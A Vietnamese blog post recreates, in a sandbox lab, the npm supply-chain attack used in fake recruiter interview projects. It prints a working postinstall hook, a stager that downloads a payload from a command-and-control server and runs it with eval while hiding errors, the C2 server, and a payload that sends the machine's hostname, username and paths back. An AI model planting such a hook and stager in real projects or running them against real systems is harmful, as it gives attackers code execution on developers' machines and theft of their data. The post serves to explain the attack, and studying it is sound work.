| security | nodejs | npm | supply chain attack |
Dạo này lướt đâu cũng thấy AI. Ai cũng nói về agent, về LLM, về vibe coding. Váng đầu quá, nên mình quay về thứ ít váng đầu hơn, cơ chế của một vụ supply chain attack. Đợt trước lướt Facebook, Linkedin… thấy vài bài kiểu: được “nhà tuyển dụng” gửi cho một project về làm bài test phỏng vấn, tải về chạy thử, rồi phát hiện ra trong đó có mã độc. Có người mất ví crypto hoặc lộ cả đống credential.
Đọc thì thấy cũng tò mò nên hôm nay mới ngồi thử lab xem cái luồng tấn công kiểu này nó chạy ra sao.
Mình không chuyên về bảo mật, nên có thể chưa hiểu hết mọi thứ. Toàn bộ code trong bài này mình chạy trong môi trường sanbox và cái “payload” là vô hại - nó chỉ ghi ra một file đánh dấu và gửi vài thông tin máy về server, chứ không đụng vào dữ liệu nhạy cảm. Mục tiêu là hiểu cơ chế, không phải viết malware.
1. Ý tưởng của cuộc tấn công
Một vụ tấn công kiểu này thường có 2 phía:
- Phía attacker: chuẩn bị một repo trông giống hệt một project bình thường (bài test phỏng vấn, thư viện open source, demo…), và một C2 server (command & control) để chứa mã độc thật.
- Phía nạn nhân: là dev như chúng ta, tải repo về, chạy
npm installđể cài dependencies rồi bắt đầu làm bài.
Và đây là điểm mấu chốt mà lúc đầu mình không để ý: npm install không chỉ tải thư viện về, nó còn có thể chạy code. Cụ thể luồng tấn công diễn ra như sau:
- Nạn nhân clone repo, mở ra xem - code chính trông sạch sẽ, không có gì đáng ngờ.
- Nạn nhân chạy
npm install. npm tự động thực thi một script gọi làpostinstall - Script đó (mình gọi là stager) gọi lên C2 server, tải mã độc về dưới dạng chuỗi text.
- Stager
eval()chuỗi đó - mã độc chạy ngay trong tiến trình node, không cần lưu ra file. - Mã độc thu thập thông tin máy nạn nhân rồi gửi ngược về C2.
npm installvẫn báo “thành công” như bình thường. Nạn nhân không nghi ngờ gì.
Nghe thì đơn giản, nhưng chính cái đơn giản đó lại khiến các dev như mình bỏ qua.
2. Dự án để gửi cho dev chạy
Repo gửi cho dev gọi là: cool-defi-dashboard - một cái dashboard DeFi test fullstack. Cấu trúc thư mục như sau:
Ở đây, mình đơn giản hoá nên mình đặt nó vào postinstall và setup.js ở dạng plain text, ngoài ra mình cũng thấy stager được mã hoá base64 hoặc obfuscate để tránh bị đọc trực tiếp, và được giấu bởi việc sử dụng tab dài để che đi
victim-project/
package.json
src/
index.js <- code chính, trông vô hại
scripts/
setup.js <- stager, nằm ở đây
File src/index.js - thứ mà nạn nhân sẽ mở ra đọc đầu tiên - hoàn toàn bình thường:
function renderDashboard() {
return 'DeFi dashboard: TVL, APR, portfolio...';
}
console.log(renderDashboard());
module.exports = { renderDashboard };
Nhưng ở package.json:
{
"name": "cool-defi-dashboard",
"version": "1.0.0",
"main": "src/index.js",
"scripts": {
"postinstall": "node scripts/setup.js",
"start": "node src/index.js"
}
}
Cái postinstall kia mới là thứ nguy hiểm. Khi nạn nhân chạy npm install, npm sẽ tự động chạy node scripts/setup.js mà không cần hỏi. Đây chính là “cửa sau” để attacker chèn mã độc.
3. postinstall và npm lifecycle scripts
Khi bạn chạy npm install, npm đi qua các bước sau:
npm install
|
|-- preinstall (chạy TRƯỚC khi cài dependencies)
|-- (cài dependencies)
|-- postinstall (chạy NGAY SAU khi cài xong)
|
Vì preinstall, postinstall là những keyword có sẵn của npm, nên npm sẽ tự động invoke. Vì thế, đây cũng là 1 trong những cách attacker hay dùng để chạy code trên máy nạn nhân vì:
- Tự động chạy Không có cái popup nào hỏi quyền chạy script. Cứ
npm installlà chạy. - Chạy cho cả dependencies, không chỉ project của bạn. Khi bạn cài
express, màexpressphụ thuộc packageA,Aphụ thuộcB… thìpostinstallcủaBcũng chạy trên máy bạn. Bạn không hề chủ động càiB. Đây chính là bản chất của"supply chain"- chỉ cần một mắt xích lỗi trong cây phụ thuộc bị nhiễm, cả chuỗi dính theo. - Script chạy với quyền của user đang gõ lệnh - đọc/ghi file…
4. Stager
Giờ đến file scripts/setup.js, cái mà postinstall trỏ tới. Mình gọi nó là stager. Bản thân file này không chứa mã độc:
const http = require('http');
const C2_HOST = process.env.C2_HOST || '127.0.0.1';
const C2_PORT = process.env.C2_PORT || 8888;
const C2_URL = `http://${C2_HOST}:${C2_PORT}/payload`;
function fetchAndRun() {
const req = http.get(C2_URL, (res) => {
let body = '';
res.on('data', (chunk) => (body += chunk));
res.on('end', () => {
try {
// Thực thi mã tải về - bước "remote code -> local exec"
// console.log('body nhan tu C2, dang eval...', body);
eval(body);
} catch (e) {
// im lặng bỏ qua
}
});
});
// Nuốt lỗi để npm install KHÔNG báo fail
req.on('error', () => {});
req.setTimeout(3000, () => req.destroy());
}
fetchAndRun();
Đoạn code chỉ làm đúng 1 việc - gọi lên C2 server, tải về payload, rồi eval() nó. Không có gì khác. Nó không chứa mã độc, nên nhìn vào repo bạn sẽ không thấy gì đáng ngờ.
5. C2 server và payload
Phía attacker mình dựng một HTTP server đơn giản làm C2. Nó có 2 nhiệm vụ: trả payload khi stager gọi tới, và nhận dữ liệu mà payload gửi về.
const http = require('http');
const fs = require('fs');
const path = require('path');
const PAYLOAD_FILE = path.join(__dirname, 'payload.js');
const LOOT_DIR = path.join(__dirname, 'loot');
if (!fs.existsSync(LOOT_DIR)) fs.mkdirSync(LOOT_DIR);
const server = http.createServer((req, res) => {
// Endpoint trả payload cho stager exec
if (req.url === '/payload') {
res.writeHead(200, { 'Content-Type': 'application/javascript' });
res.end(fs.readFileSync(PAYLOAD_FILE, 'utf8'));
return;
}
// Endpoint nhận dữ liệu exfil, lưu vào loot/
if (req.url === '/collect' && req.method === 'POST') {
let body = '';
req.on('data', (c) => (body += c));
req.on('end', () => {
const j = JSON.parse(body);
const file = path.join(LOOT_DIR, `${j.hostname}_${j.username}.json`);
fs.writeFileSync(file, JSON.stringify(j, null, 2));
console.log(`[C2] >>> LOOT nhan tu nan nhan -> luu ${file}`);
res.end('ok');
});
return;
}
res.writeHead(404); res.end('not found');
});
server.listen(8888, '127.0.0.1');
Và đây là payload.js - đoạn “mã độc” nằm trên server. Nó chỉ gửi về vài thông tin máy chung chung (hostname, user, OS, thư mục)
(function benignPayload() {
const os = require('os');
const fs = require('fs');
const http = require('http');
// Gom "victim fingerprint" - trong LAB chỉ là metadata vô hại
const fingerprint = {
hostname: os.hostname(),
username: os.userInfo().username,
platform: os.platform(),
arch: os.arch(),
cwd: process.cwd(),
time: new Date().toISOString(),
};
// Gửi (exfiltrate) về C2
const body = JSON.stringify(fingerprint);
const req = http.request({
host: '127.0.0.1', port: 8888, path: '/collect', method: 'POST',
headers: { 'Content-Type': 'application/json' },
});
req.write(body); req.end();
})();
6. Chạy thử
Mở 2 terminal. Terminal 1 dựng C2:
cd c2-server && node server.js
Terminal 2 đóng vai nạn nhân:
cd victim-project && npm install
Và đây là toàn bộ output mà nạn nhân nhìn thấy ở Terminal 2:
> cool-defi-dashboard@1.0.0 postinstall
> node scripts/setup.js
up to date, audited 1 package in 366ms
found 0 vulnerabilities
Kết quả là nạn nhân gần như không thấy gì - npm chỉ báo found 0 vulnerabilities, sạch sẽ, bình thường. Không một dòng nào lộ ra rằng code lạ vừa gọi lên server và chạy trên máy.
Nhưng ở Terminal 1, phía C2, ngay khi nạn nhân chạy xong, server nhận được dữ liệu gửi về:
{
"hostname": "vm",
"username": "datpt",
"platform": "linux",
"arch": "x64",
"cwd": "/home/datpt/victim-project",
"time": "2026-08-08T02:47:34.385Z"
}
Vậy là xong. Từ lúc mình chỉ gõ đúng một lệnh npm install, mã của C2 được chạy trên máy mình, thu thập thông tin và gửi đi - mà mình khó nhận ra.
7. Vì sao kiểu này khó phát hiện
- Tách stager / payload: file trong repo rất nhỏ và sạch; mã độc thật nằm trên server, đổi được bất cứ lúc nào. Audit repo không thấy được payload.
- Fileless: payload chỉ tồn tại trong bộ nhớ (RAM) qua
eval, không ghi ra file nên quét file trên đĩa khó thấy. - Hide lỗi: mọi exception bị im lặng bỏ qua để
npm installluôn “thành công”. - Sự chủ quan:
npm installlà thao tác bình thường, dev không nghĩ nó có thể nguy hiểm. Ai cũng tin tưởng repo từ “nhà tuyển dụng” hay open source. - Bài này mình dừng ở phần cơ chế tấn công. Còn phần làm sao để tự bảo vệ, phát hiện, và mấy biến thể tinh vi hơn (giấu qua chuỗi
import, obfuscate, base64…).